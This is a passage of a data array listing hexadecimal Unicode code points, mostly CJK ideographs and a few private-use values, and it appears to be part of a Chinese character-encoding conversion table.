0x9690, 0x89A2, 0x89A3, 0x89A4, 0x89A5, 0x89A6, 0x89A7, 0x89A8, 0x89A9,
0x89AA, 0x89AB, 0x89AC, 0x89AD, 0x89AE, 0x89AF, 0x89B0, 0x89B1, 0x89B2,
0x89B3, 0x89B4, 0x89B5, 0x89B6, 0x89B7, 0x89B8, 0x89B9, 0x89BA, 0x89BB,
0x89BC, 0x89BD, 0x89BE, 0x89BF, 0x89C0, 0x89C3, 0x89CD, 0x89D3, 0x89D4,
0x89D5, 0x89D7, 0x89D8, 0x89D9, 0x89DB, 0x89DD, 0x89DF, 0x89E0, 0x89E1,
0x89E2, 0x89E4, 0x89E7, 0x89E8, 0x89E9, 0x89EA, 0x89EC, 0x89ED, 0x89EE,
0x89F0, 0x89F1, 0x89F2, 0x89F4, 0x89F5, 0x89F6, 0x89F7, 0x89F8, 0x89F9,
0x89FA, 0x89FB, 0x89FC, 0x89FD, 0x89FE, 0x89FF, 0x8A01, 0x8A02, 0x8A03,
0x8A04, 0x8A05, 0x8A06, 0x8A08, 0x8A09, 0x8A0A, 0x8A0B, 0x8A0C, 0x8A0D,
0x8A0E, 0x8A0F, 0x8A10, 0x8A11, 0x8A12, 0x8A13, 0x8A14, 0x8A15, 0x8A16,
0x8A17, 0x8A18, 0x8A19, 0x8A1A, 0x8A1B, 0x8A1C, 0x8A1D, 0x5370, 0x82F1,
0x6A31, 0x5A74, 0x9E70, 0x5E94, 0x7F28, 0x83B9, 0x8424, 0x8425, 0x8367,
0x8747, 0x8FCE, 0x8D62, 0x76C8, 0x5F71, 0x9896, 0x786C, 0x6620, 0x54DF,
0x62E5, 0x4F63, 0x81C3, 0x75C8, 0x5EB8, 0x96CD, 0x8E0A, 0x86F9, 0x548F,
0x6CF3, 0x6D8C, 0x6C38, 0x607F, 0x52C7, 0x7528, 0x5E7D, 0x4F18, 0x60A0,
0x5FE7, 0x5C24, 0x7531, 0x90AE, 0x94C0, 0x72B9, 0x6CB9, 0x6E38, 0x9149,
0x6709, 0x53CB, 0x53F3, 0x4F51, 0x91C9, 0x8BF1, 0x53C8, 0x5E7C, 0x8FC2,
0x6DE4, 0x4E8E, 0x76C2, 0x6986, 0x865E, 0x611A, 0x8206, 0x4F59, 0x4FDE,
0x903E, 0x9C7C, 0x6109, 0x6E1D, 0x6E14, 0x9685, 0x4E88, 0x5A31, 0x96E8,
0x4E0E, 0x5C7F, 0x79B9, 0x5B87, 0x8BED, 0x7FBD, 0x7389, 0x57DF, 0x828B,
0x90C1, 0x5401, 0x9047, 0x55BB, 0x5CEA, 0x5FA1, 0x6108, 0x6B32, 0x72F1,
0x80B2, 0x8A89, 0x8A1E, 0x8A1F, 0x8A20, 0x8A21, 0x8A22, 0x8A23, 0x8A24,
0x8A25, 0x8A26, 0x8A27, 0x8A28, 0x8A29, 0x8A2A, 0x8A2B, 0x8A2C, 0x8A2D,
0x8A2E, 0x8A2F, 0x8A30, 0x8A31, 0x8A32, 0x8A33, 0x8A34, 0x8A35, 0x8A36,
0x8A37, 0x8A38, 0x8A39, 0x8A3A, 0x8A3B, 0x8A3C, 0x8A3D, 0x8A3F, 0x8A40,
0x8A41, 0x8A42, 0x8A43, 0x8A44, 0x8A45, 0x8A46, 0x8A47, 0x8A49, 0x8A4A,
0x8A4B, 0x8A4C, 0x8A4D, 0x8A4E, 0x8A4F, 0x8A50, 0x8A51, 0x8A52, 0x8A53,
0x8A54, 0x8A55, 0x8A56, 0x8A57, 0x8A58, 0x8A59, 0x8A5A, 0x8A5B, 0x8A5C,
0x8A5D, 0x8A5E, 0x8A5F, 0x8A60, 0x8A61, 0x8A62, 0x8A63, 0x8A64, 0x8A65,
0x8A66, 0x8A67, 0x8A68, 0x8A69, 0x8A6A, 0x8A6B, 0x8A6C, 0x8A6D, 0x8A6E,
0x8A6F, 0x8A70, 0x8A71, 0x8A72, 0x8A73, 0x8A74, 0x8A75, 0x8A76, 0x8A77,
0x8A78, 0x8A7A, 0x8A7B, 0x8A7C, 0x8A7D, 0x8A7E, 0x8A7F, 0x8A80, 0x6D74,
0x5BD3, 0x88D5, 0x9884, 0x8C6B, 0x9A6D, 0x9E33, 0x6E0A, 0x51A4, 0x5143,
0x57A3, 0x8881, 0x539F, 0x63F4, 0x8F95, 0x56ED, 0x5458, 0x5706, 0x733F,
0x6E90, 0x7F18, 0x8FDC, 0x82D1, 0x613F, 0x6028, 0x9662, 0x66F0, 0x7EA6,
0x8D8A, 0x8DC3, 0x94A5, 0x5CB3, 0x7CA4, 0x6708, 0x60A6, 0x9605, 0x8018,
0x4E91, 0x90E7, 0x5300, 0x9668, 0x5141, 0x8FD0, 0x8574, 0x915D, 0x6655,
0x97F5, 0x5B55, 0x531D, 0x7838, 0x6742, 0x683D, 0x54C9, 0x707E, 0x5BB0,
0x8F7D, 0x518D, 0x5728, 0x54B1, 0x6512, 0x6682, 0x8D5E, 0x8D43, 0x810F,
0x846C, 0x906D, 0x7CDF, 0x51FF, 0x85FB, 0x67A3, 0x65E9, 0x6FA1, 0x86A4,
0x8E81, 0x566A, 0x9020, 0x7682, 0x7076, 0x71E5, 0x8D23, 0x62E9, 0x5219,
0x6CFD, 0x8D3C, 0x600E, 0x589E, 0x618E, 0x66FE, 0x8D60, 0x624E, 0x55B3,
0x6E23, 0x672D, 0x8F67, 0x8A81, 0x8A82, 0x8A83, 0x8A84, 0x8A85, 0x8A86,
0x8A87, 0x8A88, 0x8A8B, 0x8A8C, 0x8A8D, 0x8A8E, 0x8A8F, 0x8A90, 0x8A91,
0x8A92, 0x8A94, 0x8A95, 0x8A96, 0x8A97, 0x8A98, 0x8A99, 0x8A9A, 0x8A9B,
0x8A9C, 0x8A9D, 0x8A9E, 0x8A9F, 0x8AA0, 0x8AA1, 0x8AA2, 0x8AA3, 0x8AA4,
0x8AA5, 0x8AA6, 0x8AA7, 0x8AA8, 0x8AA9, 0x8AAA, 0x8AAB, 0x8AAC, 0x8AAD,
0x8AAE, 0x8AAF, 0x8AB0, 0x8AB1, 0x8AB2, 0x8AB3, 0x8AB4, 0x8AB5, 0x8AB6,
0x8AB7, 0x8AB8, 0x8AB9, 0x8ABA, 0x8ABB, 0x8ABC, 0x8ABD, 0x8ABE, 0x8ABF,
0x8AC0, 0x8AC1, 0x8AC2, 0x8AC3, 0x8AC4, 0x8AC5, 0x8AC6, 0x8AC7, 0x8AC8,
0x8AC9, 0x8ACA, 0x8ACB, 0x8ACC, 0x8ACD, 0x8ACE, 0x8ACF, 0x8AD0, 0x8AD1,
0x8AD2, 0x8AD3, 0x8AD4, 0x8AD5, 0x8AD6, 0x8AD7, 0x8AD8, 0x8AD9, 0x8ADA,
0x8ADB, 0x8ADC, 0x8ADD, 0x8ADE, 0x8ADF, 0x8AE0, 0x8AE1, 0x8AE2, 0x8AE3,
0x94E1, 0x95F8, 0x7728, 0x6805, 0x69A8, 0x548B, 0x4E4D, 0x70B8, 0x8BC8,
0x6458, 0x658B, 0x5B85, 0x7A84, 0x503A, 0x5BE8, 0x77BB, 0x6BE1, 0x8A79,
0x7C98, 0x6CBE, 0x76CF, 0x65A9, 0x8F97, 0x5D2D, 0x5C55, 0x8638, 0x6808,
0x5360, 0x6218, 0x7AD9, 0x6E5B, 0x7EFD, 0x6A1F, 0x7AE0, 0x5F70, 0x6F33,
0x5F20, 0x638C, 0x6DA8, 0x6756, 0x4E08, 0x5E10, 0x8D26, 0x4ED7, 0x80C0,
0x7634, 0x969C, 0x62DB, 0x662D, 0x627E, 0x6CBC, 0x8D75, 0x7167, 0x7F69,
0x5146, 0x8087, 0x53EC, 0x906E, 0x6298, 0x54F2, 0x86F0, 0x8F99, 0x8005,
0x9517, 0x8517, 0x8FD9, 0x6D59, 0x73CD, 0x659F, 0x771F, 0x7504, 0x7827,
0x81FB, 0x8D1E, 0x9488, 0x4FA6, 0x6795, 0x75B9, 0x8BCA, 0x9707, 0x632F,
0x9547, 0x9635, 0x84B8, 0x6323, 0x7741, 0x5F81, 0x72F0, 0x4E89, 0x6014,
0x6574, 0x62EF, 0x6B63, 0x653F, 0x8AE4, 0x8AE5, 0x8AE6, 0x8AE7, 0x8AE8,
0x8AE9, 0x8AEA, 0x8AEB, 0x8AEC, 0x8AED, 0x8AEE, 0x8AEF, 0x8AF0, 0x8AF1,
0x8AF2, 0x8AF3, 0x8AF4, 0x8AF5, 0x8AF6, 0x8AF7, 0x8AF8, 0x8AF9, 0x8AFA,
0x8AFB, 0x8AFC, 0x8AFD, 0x8AFE, 0x8AFF, 0x8B00, 0x8B01, 0x8B02, 0x8B03,
0x8B04, 0x8B05, 0x8B06, 0x8B08, 0x8B09, 0x8B0A, 0x8B0B, 0x8B0C, 0x8B0D,
0x8B0E, 0x8B0F, 0x8B10, 0x8B11, 0x8B12, 0x8B13, 0x8B14, 0x8B15, 0x8B16,
0x8B17, 0x8B18, 0x8B19, 0x8B1A, 0x8B1B, 0x8B1C, 0x8B1D, 0x8B1E, 0x8B1F,
0x8B20, 0x8B21, 0x8B22, 0x8B23, 0x8B24, 0x8B25, 0x8B27, 0x8B28, 0x8B29,
0x8B2A, 0x8B2B, 0x8B2C, 0x8B2D, 0x8B2E, 0x8B2F, 0x8B30, 0x8B31, 0x8B32,
0x8B33, 0x8B34, 0x8B35, 0x8B36, 0x8B37, 0x8B38, 0x8B39, 0x8B3A, 0x8B3B,
0x8B3C, 0x8B3D, 0x8B3E, 0x8B3F, 0x8B40, 0x8B41, 0x8B42, 0x8B43, 0x8B44,
0x8B45, 0x5E27, 0x75C7, 0x90D1, 0x8BC1, 0x829D, 0x679D, 0x652F, 0x5431,
0x8718, 0x77E5, 0x80A2, 0x8102, 0x6C41, 0x4E4B, 0x7EC7, 0x804C, 0x76F4,
0x690D, 0x6B96, 0x6267, 0x503C, 0x4F84, 0x5740, 0x6307, 0x6B62, 0x8DBE,
0x53EA, 0x65E8, 0x7EB8, 0x5FD7, 0x631A, 0x63B7, 0x81F3, 0x81F4, 0x7F6E,
0x5E1C, 0x5CD9, 0x5236, 0x667A, 0x79E9, 0x7A1A, 0x8D28, 0x7099, 0x75D4,
0x6EDE, 0x6CBB, 0x7A92, 0x4E2D, 0x76C5, 0x5FE0, 0x949F, 0x8877, 0x7EC8,
0x79CD, 0x80BF, 0x91CD, 0x4EF2, 0x4F17, 0x821F, 0x5468, 0x5DDE, 0x6D32,
0x8BCC, 0x7CA5, 0x8F74, 0x8098, 0x5E1A, 0x5492, 0x76B1, 0x5B99, 0x663C,
0x9AA4, 0x73E0, 0x682A, 0x86DB, 0x6731, 0x732A, 0x8BF8, 0x8BDB, 0x9010,
0x7AF9, 0x70DB, 0x716E, 0x62C4, 0x77A9, 0x5631, 0x4E3B, 0x8457, 0x67F1,
0x52A9, 0x86C0, 0x8D2E, 0x94F8, 0x7B51, 0x8B46, 0x8B47, 0x8B48, 0x8B49,
0x8B4A, 0x8B4B, 0x8B4C, 0x8B4D, 0x8B4E, 0x8B4F, 0x8B50, 0x8B51, 0x8B52,
0x8B53, 0x8B54, 0x8B55, 0x8B56, 0x8B57, 0x8B58, 0x8B59, 0x8B5A, 0x8B5B,
0x8B5C, 0x8B5D, 0x8B5E, 0x8B5F, 0x8B60, 0x8B61, 0x8B62, 0x8B63, 0x8B64,
0x8B65, 0x8B67, 0x8B68, 0x8B69, 0x8B6A, 0x8B6B, 0x8B6D, 0x8B6E, 0x8B6F,
0x8B70, 0x8B71, 0x8B72, 0x8B73, 0x8B74, 0x8B75, 0x8B76, 0x8B77, 0x8B78,
0x8B79, 0x8B7A, 0x8B7B, 0x8B7C, 0x8B7D, 0x8B7E, 0x8B7F, 0x8B80, 0x8B81,
0x8B82, 0x8B83, 0x8B84, 0x8B85, 0x8B86, 0x8B87, 0x8B88, 0x8B89, 0x8B8A,
0x8B8B, 0x8B8C, 0x8B8D, 0x8B8E, 0x8B8F, 0x8B90, 0x8B91, 0x8B92, 0x8B93,
0x8B94, 0x8B95, 0x8B96, 0x8B97, 0x8B98, 0x8B99, 0x8B9A, 0x8B9B, 0x8B9C,
0x8B9D, 0x8B9E, 0x8B9F, 0x8BAC, 0x8BB1, 0x8BBB, 0x8BC7, 0x8BD0, 0x8BEA,
0x8C09, 0x8C1E, 0x4F4F, 0x6CE8, 0x795D, 0x9A7B, 0x6293, 0x722A, 0x62FD,
0x4E13, 0x7816, 0x8F6C, 0x64B0, 0x8D5A, 0x7BC6, 0x6869, 0x5E84, 0x88C5,
0x5986, 0x649E, 0x58EE, 0x72B6, 0x690E, 0x9525, 0x8FFD, 0x8D58, 0x5760,
0x7F00, 0x8C06, 0x51C6, 0x6349, 0x62D9, 0x5353, 0x684C, 0x7422, 0x8301,
0x914C, 0x5544, 0x7740, 0x707C, 0x6D4A, 0x5179, 0x54A8, 0x8D44, 0x59FF,
0x6ECB, 0x6DC4, 0x5B5C, 0x7D2B, 0x4ED4, 0x7C7D, 0x6ED3, 0x5B50, 0x81EA,
0x6E0D, 0x5B57, 0x9B03, 0x68D5, 0x8E2A, 0x5B97, 0x7EFC, 0x603B, 0x7EB5,
0x90B9, 0x8D70, 0x594F, 0x63CD, 0x79DF, 0x8DB3, 0x5352, 0x65CF, 0x7956,
0x8BC5, 0x963B, 0x7EC4, 0x94BB, 0x7E82, 0x5634, 0x9189, 0x6700, 0x7F6A,
0x5C0A, 0x9075, 0x6628, 0x5DE6, 0x4F50, 0x67DE, 0x505A, 0x4F5C, 0x5750,
0x5EA7, 0xE810, 0xE811, 0xE812, 0xE813, 0xE814, 0x8C38, 0x8C39, 0x8C3A,
0x8C3B, 0x8C3C, 0x8C3D, 0x8C3E, 0x8C3F, 0x8C40, 0x8C42, 0x8C43, 0x8C44,
0x8C45, 0x8C48, 0x8C4A, 0x8C4B, 0x8C4D, 0x8C4E, 0x8C4F, 0x8C50, 0x8C51,
0x8C52, 0x8C53, 0x8C54, 0x8C56, 0x8C57, 0x8C58, 0x8C59, 0x8C5B, 0x8C5C,
0x8C5D, 0x8C5E, 0x8C5F, 0x8C60, 0x8C63, 0x8C64, 0x8C65, 0x8C66, 0x8C67,
0x8C68, 0x8C69, 0x8C6C, 0x8C6D, 0x8C6E, 0x8C6F, 0x8C70, 0x8C71, 0x8C72,
0x8C74, 0x8C75, 0x8C76, 0x8C77, 0x8C7B, 0x8C7C, 0x8C7D, 0x8C7E, 0x8C7F,
0x8C80, 0x8C81, 0x8C83, 0x8C84, 0x8C86, 0x8C87, 0x8C88, 0x8C8B, 0x8C8D,
0x8C8E, 0x8C8F, 0x8C90, 0x8C91, 0x8C92, 0x8C93, 0x8C95, 0x8C96, 0x8C97,
0x8C99, 0x8C9A, 0x8C9B, 0x8C9C, 0x8C9D, 0x8C9E, 0x8C9F, 0x8CA0, 0x8CA1,
0x8CA2, 0x8CA3, 0x8CA4, 0x8CA5, 0x8CA6, 0x8CA7, 0x8CA8, 0x8CA9, 0x8CAA,
0x8CAB, 0x8CAC, 0x8CAD, 0x4E8D, 0x4E0C, 0x5140, 0x4E10, 0x5EFF, 0x5345,
0x4E15, 0x4E98, 0x4E1E, 0x9B32, 0x5B6C, 0x5669, 0x4E28, 0x79BA, 0x4E3F,
0x5315, 0x4E47, 0x592D, 0x723B, 0x536E, 0x6C10, 0x56DF, 0x80E4, 0x9997,
0x6BD3, 0x777E, 0x9F17, 0x4E36, 0x4E9F, 0x9F10, 0x4E5C, 0x4E69, 0x4E93,
0x8288, 0x5B5B, 0x556C, 0x560F, 0x4EC4, 0x538D, 0x539D, 0x53A3, 0x53A5,
0x53AE, 0x9765, 0x8D5D, 0x531A, 0x53F5, 0x5326, 0x532E, 0x533E, 0x8D5C,
0x5366, 0x5363, 0x5202, 0x5208, 0x520E, 0x522D, 0x5233, 0x523F, 0x5240,
0x524C, 0x525E, 0x5261, 0x525C, 0x84AF, 0x527D, 0x5282, 0x5281, 0x5290,
0x5293, 0x5182, 0x7F54, 0x4EBB, 0x4EC3, 0x4EC9, 0x4EC2, 0x4EE8, 0x4EE1,
0x4EEB, 0x4EDE, 0x4F1B, 0x4EF3, 0x4F22, 0x4F64, 0x4EF5, 0x4F25, 0x4F27,
0x4F09, 0x4F2B, 0x4F5E, 0x4F67, 0x6538, 0x4F5A, 0x4F5D, 0x8CAE, 0x8CAF,
0x8CB0, 0x8CB1, 0x8CB2, 0x8CB3, 0x8CB4, 0x8CB5, 0x8CB6, 0x8CB7, 0x8CB8,
0x8CB9, 0x8CBA, 0x8CBB, 0x8CBC, 0x8CBD, 0x8CBE, 0x8CBF, 0x8CC0, 0x8CC1,
0x8CC2, 0x8CC3, 0x8CC4, 0x8CC5, 0x8CC6, 0x8CC7, 0x8CC8, 0x8CC9, 0x8CCA,
0x8CCB, 0x8CCC, 0x8CCD, 0x8CCE, 0x8CCF, 0x8CD0, 0x8CD1, 0x8CD2, 0x8CD3,
0x8CD4, 0x8CD5, 0x8CD6, 0x8CD7, 0x8CD8, 0x8CD9, 0x8CDA, 0x8CDB, 0x8CDC,
0x8CDD, 0x8CDE, 0x8CDF, 0x8CE0, 0x8CE1, 0x8CE2, 0x8CE3, 0x8CE4, 0x8CE5,
0x8CE6, 0x8CE7, 0x8CE8, 0x8CE9, 0x8CEA, 0x8CEB, 0x8CEC, 0x8CED, 0x8CEE,
0x8CEF, 0x8CF0, 0x8CF1, 0x8CF2, 0x8CF3, 0x8CF4, 0x8CF5, 0x8CF6, 0x8CF7,
0x8CF8, 0x8CF9, 0x8CFA, 0x8CFB, 0x8CFC, 0x8CFD, 0x8CFE, 0x8CFF, 0x8D00,
0x8D01, 0x8D02, 0x8D03, 0x8D04, 0x8D05, 0x8D06, 0x8D07, 0x8D08, 0x8D09,
0x8D0A, 0x8D0B, 0x8D0C, 0x8D0D, 0x4F5F, 0x4F57, 0x4F32, 0x4F3D, 0x4F76,
0x4F74, 0x4F91, 0x4F89, 0x4F83, 0x4F8F, 0x4F7E, 0x4F7B, 0x4FAA, 0x4F7C,
0x4FAC, 0x4F94, 0x4FE6, 0x4FE8, 0x4FEA, 0x4FC5, 0x4FDA, 0x4FE3, 0x4FDC,
0x4FD1, 0x4FDF, 0x4FF8, 0x5029, 0x504C, 0x4FF3, 0x502C, 0x500F, 0x502E,
0x502D, 0x4FFE, 0x501C, 0x500C, 0x5025, 0x5028, 0x507E, 0x5043, 0x5055,
0x5048, 0x504E, 0x506C, 0x507B, 0x50A5, 0x50A7, 0x50A9, 0x50BA, 0x50D6,
0x5106, 0x50ED, 0x50EC, 0x50E6, 0x50EE, 0x5107, 0x510B, 0x4EDD, 0x6C3D,
0x4F58, 0x4F65, 0x4FCE, 0x9FA0, 0x6C46, 0x7C74, 0x516E, 0x5DFD, 0x9EC9,
0x9998, 0x5181, 0x5914, 0x52F9, 0x530D, 0x8A07, 0x5310, 0x51EB, 0x5919,
0x5155, 0x4EA0, 0x5156, 0x4EB3, 0x886E, 0x88A4, 0x4EB5, 0x8114, 0x88D2,
0x7980, 0x5B34, 0x8803, 0x7FB8, 0x51AB, 0x51B1, 0x51BD, 0x51BC, 0x8D0E,
0x8D0F, 0x8D10, 0x8D11, 0x8D12, 0x8D13, 0x8D14, 0x8D15, 0x8D16, 0x8D17,
0x8D18, 0x8D19, 0x8D1A, 0x8D1B, 0x8D1C, 0x8D20, 0x8D51, 0x8D52, 0x8D57,
0x8D5F, 0x8D65, 0x8D68, 0x8D69, 0x8D6A, 0x8D6C, 0x8D6E, 0x8D6F, 0x8D71,
0x8D72, 0x8D78, 0x8D79, 0x8D7A, 0x8D7B, 0x8D7C, 0x8D7D, 0x8D7E, 0x8D7F,
0x8D80, 0x8D82, 0x8D83, 0x8D86, 0x8D87, 0x8D88, 0x8D89, 0x8D8C, 0x8D8D,
0x8D8E, 0x8D8F, 0x8D90, 0x8D92, 0x8D93, 0x8D95, 0x8D96, 0x8D97, 0x8D98,
0x8D99, 0x8D9A, 0x8D9B, 0x8D9C, 0x8D9D, 0x8D9E, 0x8DA0, 0x8DA1, 0x8DA2,
0x8DA4, 0x8DA5, 0x8DA6, 0x8DA7, 0x8DA8, 0x8DA9, 0x8DAA, 0x8DAB, 0x8DAC,
0x8DAD, 0x8DAE, 0x8DAF, 0x8DB0, 0x8DB2, 0x8DB6, 0x8DB7, 0x8DB9, 0x8DBB,
0x8DBD, 0x8DC0, 0x8DC1, 0x8DC2, 0x8DC5, 0x8DC7, 0x8DC8, 0x8DC9, 0x8DCA,
0x8DCD, 0x8DD0, 0x8DD2, 0x8DD3, 0x8DD4, 0x51C7, 0x5196, 0x51A2, 0x51A5,
0x8BA0, 0x8BA6, 0x8BA7, 0x8BAA, 0x8BB4, 0x8BB5, 0x8BB7, 0x8BC2, 0x8BC3,
0x8BCB, 0x8BCF, 0x8BCE, 0x8BD2, 0x8BD3, 0x8BD4, 0x8BD6, 0x8BD8, 0x8BD9,
0x8BDC, 0x8BDF, 0x8BE0, 0x8BE4, 0x8BE8, 0x8BE9, 0x8BEE, 0x8BF0, 0x8BF3,
0x8BF6, 0x8BF9, 0x8BFC, 0x8BFF, 0x8C00, 0x8C02, 0x8C04, 0x8C07, 0x8C0C,
0x8C0F, 0x8C11, 0x8C12, 0x8C14, 0x8C15, 0x8C16, 0x8C19, 0x8C1B, 0x8C18,
0x8C1D, 0x8C1F, 0x8C20, 0x8C21, 0x8C25, 0x8C27, 0x8C2A, 0x8C2B, 0x8C2E,
0x8C2F, 0x8C32, 0x8C33, 0x8C35, 0x8C36, 0x5369, 0x537A, 0x961D, 0x9622,
0x9621, 0x9631, 0x962A, 0x963D, 0x963C, 0x9642, 0x9649, 0x9654, 0x965F,
0x9667, 0x966C, 0x9672, 0x9674, 0x9688, 0x968D, 0x9697, 0x96B0, 0x9097,
0x909B, 0x909D, 0x9099, 0x90AC, 0x90A1, 0x90B4, 0x90B3, 0x90B6, 0x90BA,
0x8DD5, 0x8DD8, 0x8DD9, 0x8DDC, 0x8DE0, 0x8DE1, 0x8DE2, 0x8DE5, 0x8DE6,
0x8DE7, 0x8DE9, 0x8DED, 0x8DEE, 0x8DF0, 0x8DF1, 0x8DF2, 0x8DF4, 0x8DF6,
0x8DFC, 0x8DFE, 0x8DFF, 0x8E00, 0x8E01, 0x8E02, 0x8E03, 0x8E04, 0x8E06,
0x8E07, 0x8E08, 0x8E0B, 0x8E0D, 0x8E0E, 0x8E10, 0x8E11, 0x8E12, 0x8E13,
0x8E15, 0x8E16, 0x8E17, 0x8E18, 0x8E19, 0x8E1A, 0x8E1B, 0x8E1C, 0x8E20,
0x8E21, 0x8E24, 0x8E25, 0x8E26, 0x8E27, 0x8E28, 0x8E2B, 0x8E2D, 0x8E30,
0x8E32, 0x8E33, 0x8E34, 0x8E36, 0x8E37, 0x8E38, 0x8E3B, 0x8E3C, 0x8E3E,
0x8E3F, 0x8E43, 0x8E45, 0x8E46, 0x8E4C, 0x8E4D, 0x8E4E, 0x8E4F, 0x8E50,
0x8E53, 0x8E54, 0x8E55, 0x8E56, 0x8E57, 0x8E58, 0x8E5A, 0x8E5B, 0x8E5C,
0x8E5D, 0x8E5E, 0x8E5F, 0x8E60, 0x8E61, 0x8E62, 0x8E63, 0x8E64, 0x8E65,
0x8E67, 0x8E68, 0x8E6A, 0x8E6B, 0x8E6E, 0x8E71, 0x90B8, 0x90B0, 0x90CF,
0x90C5, 0x90BE, 0x90D0, 0x90C4, 0x90C7, 0x90D3, 0x90E6, 0x90E2, 0x90DC,
0x90D7, 0x90DB, 0x90EB, 0x90EF, 0x90FE, 0x9104, 0x9122, 0x911E, 0x9123,
0x9131, 0x912F, 0x9139, 0x9143, 0x9146, 0x520D, 0x5942, 0x52A2, 0x52AC,
0x52AD, 0x52BE, 0x54FF, 0x52D0, 0x52D6, 0x52F0, 0x53DF, 0x71EE, 0x77CD,
0x5EF4, 0x51F5, 0x51FC, 0x9B2F, 0x53B6, 0x5F01, 0x755A, 0x5DEF, 0x574C,
0x57A9, 0x57A1, 0x587E, 0x58BC, 0x58C5, 0x58D1, 0x5729, 0x572C, 0x572A,
0x5733, 0x5739, 0x572E, 0x572F, 0x575C, 0x573B, 0x5742, 0x5769, 0x5785,
0x576B, 0x5786, 0x577C, 0x577B, 0x5768, 0x576D, 0x5776, 0x5773, 0x57AD,
0x57A4, 0x578C, 0x57B2, 0x57CF, 0x57A7, 0x57B4, 0x5793, 0x57A0, 0x57D5,
0x57D8, 0x57DA, 0x57D9, 0x57D2, 0x57B8, 0x57F4, 0x57EF, 0x57F8, 0x57E4,
0x57DD, 0x8E73, 0x8E75, 0x8E77, 0x8E78, 0x8E79, 0x8E7A, 0x8E7B, 0x8E7D,
0x8E7E, 0x8E80, 0x8E82, 0x8E83, 0x8E84, 0x8E86, 0x8E88, 0x8E89, 0x8E8A,
0x8E8B, 0x8E8C, 0x8E8D, 0x8E8E, 0x8E91, 0x8E92, 0x8E93, 0x8E95, 0x8E96,
0x8E97, 0x8E98, 0x8E99, 0x8E9A, 0x8E9B, 0x8E9D, 0x8E9F, 0x8EA0, 0x8EA1,
0x8EA2, 0x8EA3, 0x8EA4, 0x8EA5, 0x8EA6, 0x8EA7, 0x8EA8, 0x8EA9, 0x8EAA,
0x8EAD, 0x8EAE, 0x8EB0, 0x8EB1, 0x8EB3, 0x8EB4, 0x8EB5, 0x8EB6, 0x8EB7,
0x8EB8, 0x8EB9, 0x8EBB, 0x8EBC, 0x8EBD, 0x8EBE, 0x8EBF, 0x8EC0, 0x8EC1,
0x8EC2, 0x8EC3, 0x8EC4, 0x8EC5, 0x8EC6, 0x8EC7, 0x8EC8, 0x8EC9, 0x8ECA,
0x8ECB, 0x8ECC, 0x8ECD, 0x8ECF, 0x8ED0, 0x8ED1, 0x8ED2, 0x8ED3, 0x8ED4,
0x8ED5, 0x8ED6, 0x8ED7, 0x8ED8, 0x8ED9, 0x8EDA, 0x8EDB, 0x8EDC, 0x8EDD,
0x8EDE, 0x8EDF, 0x8EE0, 0x8EE1, 0x8EE2, 0x8EE3, 0x8EE4, 0x580B, 0x580D,
0x57FD, 0x57ED, 0x5800, 0x581E, 0x5819, 0x5844, 0x5820, 0x5865, 0x586C,
0x5881, 0x5889, 0x589A, 0x5880, 0x99A8, 0x9F19, 0x61FF, 0x8279, 0x827D,
0x827F, 0x828F, 0x828A, 0x82A8, 0x8284, 0x828E, 0x8291, 0x8297, 0x8299,
0x82AB, 0x82B8, 0x82BE, 0x82B0, 0x82C8, 0x82CA, 0x82E3, 0x8298, 0x82B7,
0x82AE, 0x82CB, 0x82CC, 0x82C1, 0x82A9, 0x82B4, 0x82A1, 0x82AA, 0x829F,
0x82C4, 0x82CE, 0x82A4, 0x82E1, 0x8309, 0x82F7, 0x82E4, 0x830F, 0x8307,
0x82DC, 0x82F4, 0x82D2, 0x82D8, 0x830C, 0x82FB, 0x82D3, 0x8311, 0x831A,
0x8306, 0x8314, 0x8315, 0x82E0, 0x82D5, 0x831C, 0x8351, 0x835B, 0x835C,
0x8308, 0x8392, 0x833C, 0x8334, 0x8331, 0x839B, 0x835E, 0x832F, 0x834F,
0x8347, 0x8343, 0x835F, 0x8340, 0x8317, 0x8360, 0x832D, 0x833A, 0x8333,
0x8366, 0x8365, 0x8EE5, 0x8EE6, 0x8EE7, 0x8EE8, 0x8EE9, 0x8EEA, 0x8EEB,
0x8EEC, 0x8EED, 0x8EEE, 0x8EEF, 0x8EF0, 0x8EF1, 0x8EF2, 0x8EF3, 0x8EF4,
0x8EF5, 0x8EF6, 0x8EF7, 0x8EF8, 0x8EF9, 0x8EFA, 0x8EFB, 0x8EFC, 0x8EFD,
0x8EFE, 0x8EFF, 0x8F00, 0x8F01, 0x8F02, 0x8F03, 0x8F04, 0x8F05, 0x8F06,
0x8F07, 0x8F08, 0x8F09, 0x8F0A, 0x8F0B, 0x8F0C, 0x8F0D, 0x8F0E, 0x8F0F,
0x8F10, 0x8F11, 0x8F12, 0x8F13, 0x8F14, 0x8F15, 0x8F16, 0x8F17, 0x8F18,
0x8F19, 0x8F1A, 0x8F1B, 0x8F1C, 0x8F1D, 0x8F1E, 0x8F1F, 0x8F20, 0x8F21,
0x8F22, 0x8F23, 0x8F24, 0x8F25, 0x8F26, 0x8F27, 0x8F28, 0x8F29, 0x8F2A,
0x8F2B, 0x8F2C, 0x8F2D, 0x8F2E, 0x8F2F, 0x8F30, 0x8F31, 0x8F32, 0x8F33,
0x8F34, 0x8F35, 0x8F36, 0x8F37, 0x8F38, 0x8F39, 0x8F3A, 0x8F3B, 0x8F3C,
0x8F3D, 0x8F3E, 0x8F3F, 0x8F40, 0x8F41, 0x8F42, 0x8F43, 0x8F44, 0x8368,
0x831B, 0x8369, 0x836C, 0x836A, 0x836D, 0x836E, 0x83B0, 0x8378, 0x83B3,
0x83B4, 0x83A0, 0x83AA, 0x8393, 0x839C, 0x8385, 0x837C, 0x83B6, 0x83A9,
0x837D, 0x83B8, 0x837B, 0x8398, 0x839E, 0x83A8, 0x83BA, 0x83BC, 0x83C1,
0x8401, 0x83E5, 0x83D8, 0x5807, 0x8418, 0x840B, 0x83DD, 0x83FD, 0x83D6,
0x841C, 0x8438, 0x8411, 0x8406, 0x83D4, 0x83DF, 0x840F, 0x8403, 0x83F8,
0x83F9, 0x83EA, 0x83C5, 0x83C0, 0x8426, 0x83F0, 0x83E1, 0x845C, 0x8451,
0x845A, 0x8459, 0x8473, 0x8487, 0x8488, 0x847A, 0x8489, 0x8478, 0x843C,
0x8446, 0x8469, 0x8476, 0x848C, 0x848E, 0x8431, 0x846D, 0x84C1, 0x84CD,
0x84D0, 0x84E6, 0x84BD, 0x84D3, 0x84CA, 0x84BF, 0x84BA, 0x84E0, 0x84A1,
0x84B9, 0x84B4, 0x8497, 0x84E5, 0x84E3, 0x850C, 0x750D, 0x8538, 0x84F0,
